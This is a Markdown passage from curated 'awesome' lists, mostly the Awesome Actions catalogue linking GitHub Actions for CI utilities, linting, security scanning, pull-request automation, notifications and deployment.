- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
- [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations.
- [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress.
- [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes.
- [Ansible](https://github.com/KeyboardInterrupt/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform.
- [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web.
- [QR Code](https://github.com/aureooms/awesome-qr-code#readme) - A type of matrix barcode that can be used to store and share a small amount of information.
- [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible.
- [Translations](https://github.com/mbiesiad/awesome-translations#readme) - The transfer of the meaning of a text from one language to another.
## Related
- [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub.
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
- [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension.
- [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.
|
<p align="center">
<br>
<img src="awesome-actions.png" width="150"/>
<br>
</p>
# Awesome Actions [](https://github.com/sindresorhus/awesome) [<!--lint ignore no-dead-urls-->](https://github.com/sdras/awesome-actions/actions?workflow=Lint+Awesome+List)
> A curated list of awesome things related to GitHub Actions.
Actions are triggered by GitHub platform events directly in a repo and run on-demand workflows either on Linux, Windows or macOS virtual machines or inside a container in response. With GitHub Actions you can automate your workflow from idea to production.
## Contents
- [Official Resources](#official-resources)
- [Workflow Examples](#workflow-examples)
- [Official Actions](#official-actions)
- [Create your Actions](#create-your-actions)
- [Community Resources](#community-resources)
- [GitHub Tools and Management](#github-tools-and-management)
- [Collection of Actions](#collection-of-actions)
- [Utility](#utility)
- [Static Analysis](#static-analysis)
- [Dynamic Analysis](#dynamic-analysis)
- [Monitoring](#monitoring)
- [Pull Requests](#pull-requests)
- [GitHub Pages](#github-pages)
- [Notifications and Messages](#notifications-and-messages)
- [Deployment](#deployment)
- [External Services](#external-services)
- [Frontend Tools](#frontend-tools)
- [Machine Learning Ops](#machine-learning-ops)
- [Build](#build)
- [Database](#database)
- [Localization](#localization)
- [Fun](#fun)
- [Cheat Sheet](#cheat-sheet)
- [Tutorials](#tutorials)
## Official Resources
- [Official Site](https://github.com/features/actions)
- [Official Documentation](https://help.github.com/en/actions)
- [Official Actions organization](https://github.com/actions)
- [actions/virtual-environments](https://github.com/actions/virtual-environments) - GitHub Actions virtual environments.
- [actions/runner](https://github.com/actions/runner) - The Runner for GitHub Actions.
- [GitHub Blog Announcement](https://github.blog/2018-10-17-action-demos/)
### Workflow Examples
- [actions/starter-workflows](https://github.com/actions/starter-workflows) - Starter workflow management.
- [actions/example-services](https://github.com/actions/example-services) - Example workflows using service containers.
### Official Actions
<!--lint disable no-dead-urls-->
#### Workflow Tool Actions
Tool actions for your workflow.
<!--lint ignore awesome-spell-check-->
- [actions/checkout](https://github.com/actions/checkout) - Setup your repository on your workflow.
- [actions/upload-artifact](https://github.com/actions/upload-artifact) - Upload artifacts from your workflow.
- [actions/download-artifact](https://github.com/actions/download-artifact) - Download artifacts from your build.
- [actions/cache](https://github.com/actions/cache) - Cache dependencies and build outputs in GitHub Actions.
- [actions/github-script](https://github.com/actions/github-script) - Write a script for GitHub API and the workflow contexts.
#### Actions for GitHub Automation
Automate management for issues, pull requests, and releases.
- [actions/create-release](https://github.com/actions/create-release) - An Action to create releases via the GitHub Release API.
- [actions/upload-release-asset](https://github.com/actions/upload-release-asset) - An Action to upload a release asset via the GitHub Release API.
- [actions/first-interaction](https://github.com/actions/first-interaction) - An action for filtering pull requests and issues from first-time contributors.
- [actions/stale](https://github.com/actions/stale) - Marks issues and pull requests that have not had recent interaction.
- [actions/labeler](https://github.com/actions/labeler) - An action for automatically labelling pull requests.
- [actions/delete-package-versions](https://github.com/actions/delete-package-versions) - Delete versions of a package from GitHub Packages.
#### Setup Actions
Set up your GitHub Actions workflow with a specific version of your programming languages.
- [actions/setup-node: Node.js](https://github.com/actions/setup-node)
- [actions/setup-python: Python](https://github.com/actions/setup-python)
- [actions/setup-go: Go](https://github.com/actions/setup-go)
- [actions/setup-dotnet: .NET core sdk](https://github.com/actions/setup-dotnet)
- [actions/setup-haskell: Haskell (GHC and Cabal)](https://github.com/actions/setup-haskell)
- [actions/setup-java: Java](https://github.com/actions/setup-java)
- [actions/setup-ruby: Ruby](https://github.com/actions/setup-ruby)
- [actions/setup-elixir: Elixir](https://github.com/actions/setup-elixir)
### Create your Actions
#### JavaScript and TypeScript Actions
- [actions/toolkit](https://github.com/actions/toolkit) - The GitHub ToolKit for developing GitHub Actions.
- [actions/hello-world-javascript-action](https://github.com/actions/hello-world-javascript-action) - A template to demonstrate how to build a JavaScript action.
- [actions/javascript-action](https://github.com/actions/javascript-action) - Create a JavaScript Action.
- [actions/typescript-action](https://github.com/actions/typescript-action) - Create a TypeScript Action.
- [actions/http-client](https://github.com/actions/http-client) - A lightweight HTTP client optimized for use with actions, TypeScript with generics and async await.
#### Docker Container Actions
- [actions/hello-world-docker-action](https://github.com/actions/hello-world-docker-action) - A template to demonstrate how to build a Docker action.
- [actions/container-toolkit-action](https://github.com/actions/container-toolkit-action) - Template repo for creating container actions using actions/toolkit.
## Community Resources
### GitHub Tools and Management
- [Declaratively setup GitHub Labels](https://github.com/lannonbr/issue-label-manager-action)
- [Action to sync GitHub labels in the declarative way](https://github.com/micnncim/action-label-syncer)
- [Add releases to GitHub](https://github.com/elgohr/Github-Release-Action)
- [Publish a docker image to Dockerhub](https://github.com/elgohr/Publish-Docker-Github-Action)
- [Create an issue using content from a file](https://github.com/peter-evans/create-issue-from-file)
- [Publish GitHub Releases with Assets](https://github.com/softprops/action-gh-release)
- [GitHub Project Automation+](https://github.com/alex-page/github-project-automation-plus) - Automate GitHub Project cards with any webhook event.
- [Run GitHub Actions Locally with a web interface](https://github.com/phishy/wflow)
- [Run GitHub Actions Locally in Terminal](https://github.com/nektos/act)
- [Build and Publish Android debug APK](https://github.com/ShaunLWM/action-release-debugapk)
- [Generate sequential build numbers for GitHub Actions](https://github.com/einaregilsson/build-number)
- [Push Git changes to GitHub repository without authentication difficulties](https://github.com/ad-m/github-push-action)
- [Generate release notes based on your events](https://github.com/Decathlon/release-notes-generator-action)
- [Create a GitHub wiki page based on the provided markdown file](https://github.com/Decathlon/wiki-page-creator-action)
- [Label your Pull Requests auto-magically (using committed files)](https://github.com/Decathlon/pull-request-labeler-action)
- [Add Label to your Pull Requests based on the author team name](https://github.com/JulienKode/team-labeler-action)
- [Get a list of file changes with PR/Push](https://github.com/trilom/file-changes-action)
- [Use private actions in any workflow](https://github.com/InVisionApp/private-action-loader)
- [Label Your Issues Using the Issue's Contents](https://github.com/damccorm/tag-ur-it)
- [Rollback a GitHub Release](https://github.com/author/action-rollback)
- [Lock Closed Issues and Pull Requests after a Period of Inactivity](https://github.com/dessant/lock-threads)
- [Get Commit Difference Count Between Two Branches](https://github.com/jessicalostinspace/commit-difference-action)
- [Generate Release Notes Based on Git References](https://github.com/metcalfc/changelog-generator)
- [Enforce Policies on GitHub Repositories and Commits](https://github.com/talos-systems/conform)
- [Auto Label Issue Based on Issue Description](https://github.com/Renato66/auto-label)
- [Update Configured GitHub Actions to the Latest Versions](https://github.com/fabasoad/ghacu)
- [Create Issue Branch](https://github.com/robvanderleek/create-issue-branch)
- [Remove Old Artifacts](https://github.com/c-hive/gha-remove-artifacts)
- [Expose Git Commit Data As Environment Variables](https://github.com/rlespinasse/git-commit-data-action)
- [Sync Defined Files/Binaries to Wiki or External Repositories](https://github.com/kai-tub/external-repo-sync-action)
- [Create/Update/Delete a GitHub Wiki Page Based on Any File](https://github.com/Andrew-Chen-Wang/github-wiki-action)
- [Prow GitHub Actions](https://github.com/jpmcb/prow-github-actions) - Automation of policy enforcement, chat-ops, and automatic PR merging.
- [Check GitHub Status in your Workflow](https://github.com/crazy-max/ghaction-github-status)
- [Manage Labels on GitHub (create/rename/update/delete) as Code](https://github.com/crazy-max/ghaction-github-labeler)
- [Continuous Distribution of Funding to your Project Contributors and Dependencies](https://github.com/protontypes/libreselery)
- [Herald Rules for GitHub: Add Subscribers, Assignees, Labels, and More to Your PR](https://github.com/gagoar/use-herald-action)
- [GitHub Codeowners Validator](https://github.com/mszostok/codeowners-validator) - Ensures the correctness of your GitHub CODEOWNERS file. It supports public and private GitHub repositories and also GitHub Enterprise installations.
- [Copybara Action](https://github.com/olivr/copybara-action) - Move and transform code between repositories (ideal to maintain several repos from one monorepo).
### Collection of Actions
- [Use HashiCorp's Terraform](https://github.com/hashicorp/setup-terraform)
- [GitHub Actions for Yarn 1](https://github.com/Borales/actions-yarn)
- [GitHub Actions for Yarn 2](https://github.com/sergioramos/yarn-actions)
- [GitHub Actions for Golang](https://github.com/cedrickring/golang-action)
- [GitHub Actions for R and accompanying #rstats package](http://maxheld.de/ghactions/)
- [GitHub Actions for WordPress](https://github.com/10up/actions-wordpress/)
- [GitHub Actions for Composer](https://github.com/MilesChou/composer-action)
- [GitHub Actions for Flutter](https://github.com/subosito/flutter-action)
- [GitHub Actions for PHP](https://github.com/shivammathur/setup-php)
- [GitHub Actions for Rust](https://github.com/actions-rs)
- [GitHub Actions for Android](https://github.com/Malinskiy/action-android)
- [GitHub Actions for Logtalk and Prolog](https://github.com/logtalk-actions)
- [GitHub Actions for Deno](https://github.com/denolib/setup-deno)
- [GitHub Actions for Unity](https://github.com/webbertakken/unity-actions)
- [Octions - GitHub Actions for GitHub REST API](https://github.com/maxkomarychev/octions)
- [GitHub Actions for Docker](https://github.com/docker/github-actions)
- [GitHub Actions for AWS](https://github.com/clowdhaus/aws-github-actions)
- [Actions Hub](https://github.com/actionshub)
### Utility
- [Setup `ssh-agent`](https://github.com/webfactory/ssh-agent) - Run `ssh-agent` with additional SSH keys to access private repositories.
- [GitHub Actions Badges for your README](https://github.com/atrox/github-actions-badge)
- [GitHub Actions for Python project with poetry](https://github.com/abatilo/actions-poetry)
- [GitHub Actions for Python project with pyenv](https://github.com/gabrielfalcao/pyenv-action)
- [GitHub Actions to compile LaTeX documents](https://github.com/xu-cheng/latex-action)
- [Update Maxmind Databases](https://github.com/meetup/maxmind-updater)
- [Debug with SSH over tmate](https://github.com/mxschmitt/action-tmate) - Debug the Action directly by providing a SSH connection.
- [Unlock git-crypt files](https://github.com/sliteteam/github-action-git-crypt-unlock)
- [Golang CGO cross compiler](https://github.com/crazy-max/ghaction-xgo)
- [Run your job on another architecture: arm32, aarch64 and others](https://github.com/uraimo/run-on-arch-action)
- [Generate a table of contents](https://github.com/technote-space/toc-generator)
- [Automatically add Label or Assignee to an Issue](https://github.com/Naturalclar/issue-action)
- [Action to send LGTM reaction as image or GIF when we say lgtm](https://github.com/micnncim/action-lgtm-reaction)
- [Generate build numbers across multiple scopes](https://github.com/zyborg/gh-action-buildnum)
- [Publish GitHub release artifacts](https://github.com/skx/github-action-publish-binaries)
- [Jekyll Diff Action](https://github.com/David-Byrne/jekyll-diff-action) - Diffs the built Jekyll site after a change, and comments the result back to GitHub.
- [Branch Protection Bot](https://github.com/benjefferies/branch-protection-bot) - Temporarily disable and re-enable "Include administrators" option in branch protection.
- [Wait for commit statuses](https://github.com/WyriHaximus/github-action-wait-for-status) - Wait until all statuses and checks are successful or any of them has failed and set its status output accordingly.
- [Get Latest Tag](https://github.com/WyriHaximus/github-action-get-previous-tag) - Get the previous tag from git.
- [Create Milestone](https://github.com/WyriHaximus/github-action-create-milestone) - Create a new open milestone given the title and description.
- [Close Milestone](https://github.com/WyriHaximus/github-action-close-milestone) - Close the given milestone.
- [Action to enforce branch naming rules](https://github.com/deepakputhraya/action-branch-name)
- [Expose slug of some GitHub variables](https://github.com/marketplace/actions/github-slug)
- [awesome-lint as a GitHub Action](https://github.com/max/awesome-lint)
- [Edit JSON File](https://github.com/deef0000dragon1/json-edit-action)
- [Build Slate documentation](https://github.com/Decathlon/slate-builder-action)
- [Read Properties](https://github.com/christian-draeger/read-properties) - Read values from `.properties` files.
- [Write Properties](https://github.com/christian-draeger/write-properties) - Write values to `.properties` files.
- [Autotag](https://github.com/butlerlogic/action-autotag) - Automatically generate a new tag when the manifest file (i.e. `package.json`) version changes.
- [Apply templates with Jinja2](https://github.com/cuchi/jinja2-action) - Use the Jinja2 template engine to generate files from templates.
- [Has Changes](https://github.com/UnicornGlobal/has-changes-action) - Check if there are code changes from previous steps.
- [Mind Your Language Action](https://github.com/tailaiw/mind-your-language-action) - Detect offensive comments in issues and pull requests, and warn senders.
- [YAML/JSON/XML Converter](https://github.com/fabasoad/yaml-json-xml-converter-action) - Converts YAML/JSON/XML file formats interchangeably.
- [NSFW Detection](https://github.com/fabasoad/nsfw-detection-action) - Detect NSFW content in committed files.
- [Has Changed Path](https://github.com/MarceloPrado/has-changed-path) - Conditionally run actions based on changed paths.
- [Linguist](https://github.com/fabasoad/linguist-action) - Checks a repository and produces information about used languages in output.
- [Twilio Voice Call](https://github.com/fabasoad/twilio-voice-call-action/) - Make Twilio voice call with defined text.
- [Setup Xcode](https://github.com/maxim-lobanov/setup-xcode) - Switch between pre-installed versions of Xcode for macOS images.
- [Setup Xamarin](https://github.com/maxim-lobanov/setup-xamarin) - Switch between pre-installed versions of Xamarin and Mono for macOS images.
- [Memer Action](https://github.com/Bhupesh-V/memer-action) - A GitHub Action for Programmer Memes xD.
- [Setup Cocoapods](https://github.com/maxim-lobanov/setup-cocoapods) - Setup specific version of Cocoapods.
- [Public IP](https://github.com/haythem/public-ip) - Queries GitHub actions runner's public IP address.
- [GitHub Actions for Lazarus/FPC](https://github.com/gcarreno/setup-lazarus)
- [Twilio Fax](https://github.com/fabasoad/twilio-fax-action/) - Sends a document by fax using your Twilio account.
- [Setup Kubernetes tools](https://github.com/yokawasa/action-setup-kube-tools) - Install Kubernetes tools (kubectl, kustomize, helm, kubeval, conftest, and yq) on the runner.
- [Setup Elastic Cloud Control Tool](https://github.com/yokawasa/action-setup-ecctl) - Install a specific version of ecctl on the runner.
- [PowerShell Script](https://github.com/Amadevus/pwsh-script) - Run PowerShell scripts with workflow contexts (e.g. `$github.token`) and cmdlets, return value => action output.
- [Upload and Scan Files with VirusTotal](https://github.com/crazy-max/ghaction-virustotal)
- [Import a GPG Key](https://github.com/crazy-max/ghaction-import-gpg)
- [Compress with UPX](https://github.com/crazy-max/ghaction-upx) - The Ultimate Packer for eXecutables.
- [Pull the New Go Module Version Into the Proxy Cache](https://github.com/andrewslotin/go-proxy-pull-action) - Ensures the latest version of your Go module is in the proxy cache. Also updates the pkg.go.dev documentation upon release.
- [Delete Run Artifacts](https://github.com/marketplace/actions/delete-run-artifacts) - Deletes all artifacts at the end of a workflow run.
- [GitHub Environment Variables Action](https://github.com/FranzDiebold/github-env-vars-action) - Expose environment variables such as the branch/tag name, repository slug, and ref slug.
- [GitHub Action Locks](https://github.com/abatilo/github-action-locks/blob/master/README.md) - Guarantee atomic execution of your GitHub Action workflows.
- [Paths Filter](https://github.com/dorny/paths-filter) - Conditionally run actions based on files modified by PR, feature branch or pushed commits.
- [Minisauras](https://github.com/TeamTigers/minisauras) - Pulls all the JavaScript and CSS files from your base branch, minify them and creates a pull-request with a new branch.
#### Environments
- [Create an envfile](https://github.com/SpicyPizza/create-envfile)
- [Export global environment variables for succeeding build steps](https://github.com/zweitag/github-actions)
- [Programmatically set environment variables for use in subsequent steps](https://github.com/allenevans/set-env)
- [Install Conda environments for Python](https://github.com/goanpeca/setup-miniconda)
- [Setup NativeScript](https://github.com/hrueger/setup-nativescript)
- [Create a JSON Environment File](https://github.com/schdck/create-env-json)
#### Dependencies
- [Install NPM Dependencies with Caching](https://github.com/bahmutov/npm-install)
- [Highlight New NPM Dependencies](https://github.com/hiwelo/new-dependencies-action) - Comments on pull requests newly added NPM dependencies information.
- [Cache NPM Dependencies](https://github.com/c-hive/gha-npm-cache)
- [Cache Yarn Dependencies](https://github.com/c-hive/gha-yarn-cache)
#### Semantic Versioning
- [Next SemVers](https://github.com/WyriHaximus/github-action-next-semvers) - Output the next version for major, minor, and patch version based on the given semver version.
- [Get latest SemVer and branch name given a search string](https://github.com/jessicalostinspace/github-action-get-regex-branch)
- [Cut Release Branch](https://github.com/jessicalostinspace/cut-release-action) - Cuts a release branch given a branch prefix and optional semantic version.
- [Increment Semantic Version](https://github.com/christian-draeger/increment-semantic-version) - Bump a given semantic version (SemVer), depending on given release type.
### Static Analysis
- [PHPStan Static code analyzer Action](https://github.com/OskarStark/phpstan-ga)
- [GraphQL Inspector Action](https://github.com/kamilkisiela/graphql-inspector)
- [PowerShell static analysis with PSScriptAnalyzer](https://github.com/devblackops/github-action-psscriptanalyzer)
- [Run tfsec, with reviewdog output on the PR](https://github.com/reviewdog/action-tfsec)
#### Testing
- [Run Tests through Puppeteer, the Headless Chrome Node API](https://github.com/ianwalter/puppeteer)
- [xUnit Slack Reporter: Sends summary of tests from xUnit reports to a Slack channel](https://github.com/ivanklee86/xunit-slack-reporter)
- [Run codeception tests](https://github.com/joelwmale/codeception-action)
- [Run TestCafe tests](https://github.com/DevExpress/testcafe-action)
- [Run Unity tests](https://github.com/webbertakken/unity-test-runner)
- [Run Cypress E2E tests](https://github.com/cypress-io/github-action)
- [Test Ansible roles with Molecule](https://github.com/robertdebock/molecule-action)
- [Run performance testing with artillery.io](https://github.com/kenju/github-actions-artillery)
- [Detect Flaky Tests with BuildPulse](https://github.com/Workshop64/buildpulse-action)
- [Display Inline Code Annotations for Jest Tests](https://github.com/IgnusG/jest-report-action)
#### Linting
- [PHP Coding Standards Fixer Action](https://github.com/OskarStark/php-cs-fixer-ga)
- [Runs Hadolint against a Dockerfile within a repository](https://github.com/burdzwastaken/hadolint-action)
- [Run ESLint, with reviewdog output on the PR](https://github.com/reviewdog/action-eslint)
- [JavaScript-based linter for \*.workflow files](https://github.com/OmarTawfik/github-actions-js)
- [Lint terraform files using tflint, with reviewdog output on the PR](https://github.com/reviewdog/action-tflint)
- [autopep8: Automatically formats Python code to conform to the PEP 8 style guide](https://github.com/peter-evans/autopep8)
- [Run `ergebnis/composer-normalize` to ensure your PHP project has a normalized `composer.json`](https://github.com/ergebnis/composer-normalize-action)
- [Run Go lint checks on PR event](https://github.com/ArangoGutierrez/GoLinty-Action)
- [Node.js - Automatically run the `format` and/or `lint` script used by the package](https://github.com/MarvinJWendt/run-node-formatter)
- [Stylelinter - GitHub Action that runs stylelint](https://github.com/exelban/stylelint)
- [Run stylelint, with reviewdog output on the PR](https://github.com/reviewdog/action-stylelint)
- [PyCodeStyle Action - A GitHub Action that leaves a comment on your PR with pycodestyle (autopep8) feedback](https://github.com/ankitvgupta/pycodestyle-action)
- [wemake-python-styleguide - The strictest and most opinionated python linter ever, with optional reviewdog output on the PR](https://github.com/wemake-services/wemake-python-styleguide)
- [Run TSLint with status checks and file diff annotations](https://github.com/mooyoul/tslint-actions)
- [Lint Pull Request commits with commitlint](https://github.com/wagoid/commitlint-github-action)
- [Run vint, with reviewdog output on the PR](https://github.com/reviewdog/action-vint)
- [Run mispell, with reviewdog output on the PR](https://github.com/reviewdog/action-misspell)
- [Run golangci-lint, with reviewdog output on the PR](https://github.com/reviewdog/action-golangci-lint)
- [Run shellcheck, with reviewdog output on the PR](https://github.com/reviewdog/action-shellcheck)
- [Catch insensitive, inconsiderate writing in your markdown docs](https://github.com/theashraf/alex-action)
- [Run dotenv-linter - Lints your .env files like a charm, with optional reviewdog output on the PR](https://github.com/wemake-services/dotenv-linter)
- [Run dotenv-linter, with reviewdog output on the PR](https://github.com/mgrachev/action-dotenv-linter)
- [Show and auto-fix linting errors for many programming languages](https://github.com/samuelmeuli/lint-action)
- [PHP_CodeSniffer With Annotations](https://github.com/chekalsky/phpcs-action)
- [Linter for markdown (with presets)](https://github.com/avto-dev/markdown-lint)
- [Stylelint problem matcher to create annotations](https://github.com/xt0rted/stylelint-problem-matcher)
- [Run sqlcheck on the PR to identifies anti-patterns in SQL queries](https://github.com/yokawasa/action-sqlcheck)
- [Validate Fastlane Supply Metadata Against the Play Store Guidelines](https://github.com/ashutoshgngwr/validate-fastlane-supply-metadata)
- [Run Golint to lint your Golang code](https://github.com/Jerome1337/golint-action)
#### Security
- [A vulnerability scanner for your docker images](https://github.com/phonito/phonito-scanner-action)
- [Automatically approve and merge Dependabot updates](https://github.com/ridedott/dependabot-auto-merge-action)
- [Run dlint security linter on your Python code](https://github.com/xen0l/dlint-check)
- [AWS Secrets Manager Actions](https://github.com/say8425/aws-secrets-manager-actions) - Define AWS Secrets Manager secrets to environment values.
- [Linting your AWS IAM policy documents for correctness and security issues](https://github.com/xen0l/iam-lint)
- [Secret Spreader](https://github.com/webfactory/secret-spreader) - Not an action per se, but a tool to manage Actions Secrets across a list of repositories.
- [Secrets Sync Action](https://github.com/google/secrets-sync-action) - Action syncs secrets across multiple repositories.
- [Snyk Test Action](https://github.com/snyk/actions)
- [Manage Your GitHub Actions Secrets With A Simple CLI](https://github.com/unfor19/githubsecrets)
- [SecretHub](https://github.com/secrethub/actions) - Have a single source of truth for your secrets and load them into GitHub Actions on demand.
#### Code Coverage
- [Scan code with SonarCloud](https://github.com/sonarsource/sonarcloud-github-action)
- [Send your code coverage to codecov.io](https://github.com/codecov/codecov-action)
- [Publishing code coverage to CodeClimate](https://github.com/paambaati/codeclimate-action)
- [Update repository go report card](https://github.com/creekorful/goreportcard-action)
### Dynamic Analysis
- [Run Gofmt to check Golang code formatting](https://github.com/Jerome1337/gofmt-action)
- [Run Goimports to check Golang imports order](https://github.com/Jerome1337/goimports-action)
### Monitoring
- [Audit a webpage with Google Chrome's Lighthouse tests](https://github.com/jakejarvis/lighthouse-action)
- [Runs Lighthouse and posts results to PRs and Slack](https://github.com/foo-software/lighthouse-check-action)
- [Run Lighthouse in CI using GitHub Actions](https://github.com/treosh/lighthouse-ci-action)
- [Continuous Benchmarking and Benchmark Visualization for Go](https://github.com/bobheadxi/gobenchdata)
- [Size Limit Action](https://github.com/andresz1/size-limit-action) - Comments cost comparison of your JS in PRs and rejects them if limit is exceeded.
- [Check bundlephobia](https://github.com/carlesnunez/check-my-bundlephobia) - Comments new and modified package size according to bundlephobia.io website and rejects PR on threshold surpassed.
### Pull Requests
- [Set PR Reviewers Based on Assignees](https://github.com/pullreminders/assignee-to-reviewer-action)
- [Open or Update PR on Branch Push (with Branch Selection)](https://github.com/vsoch/pull-request-action)
- [Automatically Rebase a PR](https://github.com/cirrus-actions/rebase)
- [Label PR once it has a Specified Number of Approvals](https://github.com/pullreminders/label-when-approved-action)
- [Add Labels to a PR based on Matched File Patterns](https://github.com/banyan/auto-label)
- [Auto-Approve PRs](https://github.com/hmarr/auto-approve-action)
- [Automatically add Reviewers to PR based on the Configuration File](https://github.com/kentaro-m/auto-assign-action)
- [Add Labels to a PR based on Branch Name Patterns](https://github.com/TimonVS/pr-labeler-action)
- [Add Labels to a PR based on Total Size of the Diff](https://github.com/pascalgn/size-label-action)
- [Automatically merge PRs That Are Ready](https://github.com/pascalgn/automerge-action)
- [Verify That PRs Contain a Ticket Reference](https://github.com/vijaykramesh/pr-lint-action)
- [Create a PR for Changes to your Repository in the Actions Workspace](https://github.com/peter-evans/create-pull-request)
- [Lint a PR](https://github.com/seferov/pr-lint-action)
- [ChatOps for PRs](https://github.com/machine-learning-apps/actions-chatops)
- [Prefix Title and Body of a PR Based on Text Extracted from Branch Name](https://github.com/tzkhan/pr-update-action)
- [Block Autosquash Commits](https://github.com/xt0rted/block-autosquash-commits-action)
- [Automatically Bump and Tag on Merge](https://github.com/anothrNick/github-tag-action)
- [Automatically Update PRs with Outdated Checks and Squash and Merge the Ones Matching All Branch Protections](https://github.com/tibdex/autosquash)
- [Merge Pal - Automatically Update and Merge PRs](https://github.com/maxkomarychev/merge-pal-action)
- [Enforce naming convention on pull request title](https://github.com/deepakputhraya/action-pr-title)
- [Pull Request Stuck Notifier](https://github.com/jrylan/github-action-stuck-pr-notifier)
- [Lint pull request name with commitlint (Awesome if you squash merge !)](https://github.com/JulienKode/pull-request-name-linter-action)
- [Block PR merges when Checks for target branches are failing](https://github.com/cirrus-actions/branch-guard)
- [Get generated static site screenshots updated by Pull Request](https://github.com/ssowonny/diff-pages-action)
- [Add Labels Depending if the Pull Request Still in Progress](https://github.com/AlbertHernandez/working-label-action)
- [Ticket Check Action](https://github.com/neofinancial/ticket-check-action) - Automatically add a ticket or issue number to the start of all Pull Request titles.
- [Pull Request Lint With Regex](https://github.com/MorrisonCole/pr-lint-action)
- [Pull Request Landmines](https://github.com/tylermurry/github-pr-landmine)
- [Annotate a GitHub Pull Request Based on a Checkstyle XML-Report](https://github.com/staabm/annotate-pull-request-from-checkstyle)
- [Pull Request Stats](https://github.com/flowwer-dev/pull-request-stats) - Print relevant stats about reviewers.
- [Pull Request Description Enforcer](https://github.com/derkinderfietsen/pr-description-enforcer) - Enforces description on pull requests.
### GitHub Pages
- [Deploy a Zola site to GitHub Pages](https://github.com/shalzz/zola-deploy-action)
- [Build Hugo static content site and publish it to gh-pages branch](https://github.com/khanhicetea/gh-actions-hugo-deploy-gh-pages)
- [Build a Jekyll site—with Custom Jekyll Plugins & Build Scripts—and deploy it back to the Gh-Pages Branch](https://github.com/BryanSchuetz/jekyll-deploy-gh-pages)
- [Google Dataset Search Metadata](https://www.github.com/openschemas/extractors/) - And other schema.org extractors to make datasets discoverable from GitHub pages.
- [GitHub Actions for deploying to GitHub Pages with Static Site Generators](https://github.com/peaceiris/actions-gh-pages)
- [GitHub Action for Hexo](https://github.com/heowc/action-hexo)
- [Deploy Google Analytics stats to GitHub Pages](https://github.com/cristianpb/analytics-google)
- [A Jupyter Notebook Blogging Platform Powered by GitHub Actions, Pages and Jekyll](https://github.com/fastai/fastpages)
- [Deploy A Static Site to GitHub Pages](https://github.com/appleboy/gh-pages-action) - Deploy to custom directory and ignore folder/file.
- [Deploy to GitHub Pages with Advanced Settings](https://github.com/crazy-max/ghaction-github-pages)
### Notifications and Messages
- [Send a Discord notification](https://github.com/Ilshidur/action-discord)
- [Post a Slack message as a bot](https://github.com/pullreminders/slack-action)
- [Send an SMS from GitHub Actions using Nexmo](https://github.com/nexmo-community/nexmo-sms-action)
- [Send an SMS from GitHub Actions using Clockworksms](https://github.com/bharathvaj1995/clockwork-sms-action)
- [Send a Telegram Message](https://github.com/appleboy/telegram-action)
- [Send a File or Text Message to Discord (custom define color, username or avatar)](https://github.com/appleboy/discord-action)
- [Collaborate on tweets using pull requests](https://github.com/gr2m/twitter-together)
- [Send a Push Notification via Push by Techulus](https://github.com/techulus/push-github-action)
- [Send email with SendGrid](https://github.com/peter-evans/sendgrid-action)
- [Send a Push Notification via Join](https://github.com/ShaunLWM/action-join)
- [New package version checker for npm](https://github.com/MeilCli/npm-update-check-action)
- [New package version checker for NuGet](https://github.com/MeilCli/nuget-update-check-action)
- [New package version checker for Gradle](https://github.com/MeilCli/gradle-update-check-action)
- [Send a Push Notification via Pushbullet](https://github.com/ShaunLWM/action-pushbullet)
- [Create an Outlook Calendar Event using Microsoft Graph](https://github.com/anoopt/ms-graph-create-event)
- [Watch for GitHub Wiki page changes and post to Slack](https://github.com/benmatselby/gollum-page-watcher-action)
- [Send an SMS using MessageBird](https://github.com/nikitasavinov/messagebird-sms-action)
- [Reply to Stale Bots](https://github.com/c-hive/fresh-bot)
- [Send an Embed Message to Discord](https://github.com/sarisia/actions-status-discord)
- [Keep Your PRs in Sync With Teamwork Tasks](https://github.com/Teamwork/github-sync)
- [Send Microsoft Teams Notification](https://github.com/opsless/ms-teams-github-actions)
### Deployment
- [Deploy to Netlify](https://github.com/netlify/actions)
- [Deploy a Probot App using Actions](https://probot.github.io/docs/deployment/#github-actions)
- [Deploy a playlist to Spotify](https://github.com/swinton/SpotHub)
- [Deploy VS Code extensions with vsce](https://github.com/lannonbr/vsce-action)
- [Purge Cloudflare cache after updating a website](https://github.com/jakejarvis/cloudflare-purge-action)
- [Deploy your DNS configuration using DNS Control](https://github.com/koenrh/dnscontrol-action)
- [Deploy a Theme to Shopify](https://github.com/pgrimaud/action-shopify)
- [Trigger multiple GitLab CI Pipeline](https://github.com/appleboy/gitlab-ci-action)
- [Trigger multiple Jenkins Jobs](https://github.com/appleboy/jenkins-action)
- [GitHub Action for Homebrew Tap](https://github.com/izumin5210/action-homebrew-tap)
- [Copy files and artifacts via SSH](https://github.com/appleboy/scp-action)
- [Executing remote ssh commands](https://github.com/appleboy/ssh-action)
- [Publish a Python distribution package to PyPI](https://github.com/pypa/gh-action-pypi-publish)
- [Deploy Static Website to Azure Storage](https://github.com/feeloor/azure-static-website-deploy)
- [Cross platform Chocolatey CLI to build and publish packages](https://github.com/crazy-max/ghaction-chocolatey)
- [Deploy iOS Pod Library to Cocoapods](https://github.com/michaelhenry/deploy-to-cocoapods-github-action)
- [GitHub Action for TencentCloud Serverless](https://github.com/Juliiii/action-scf)
- [Publish npm (pre)releases](https://github.com/epeli/npm-release/)
- [Deploy a static site to Surge.sh](https://github.com/yavisht/deploy-via-surge.sh-github-action-template)
- [GitHub Action for GoReleaser, a release automation tool for Go projects](https://github.com/goreleaser/goreleaser-action)
- [FTP Deploy Action, Deploys a GitHub project to a FTP server using GitHub actions](https://github.com/SamKirkland/FTP-Deploy-Action)
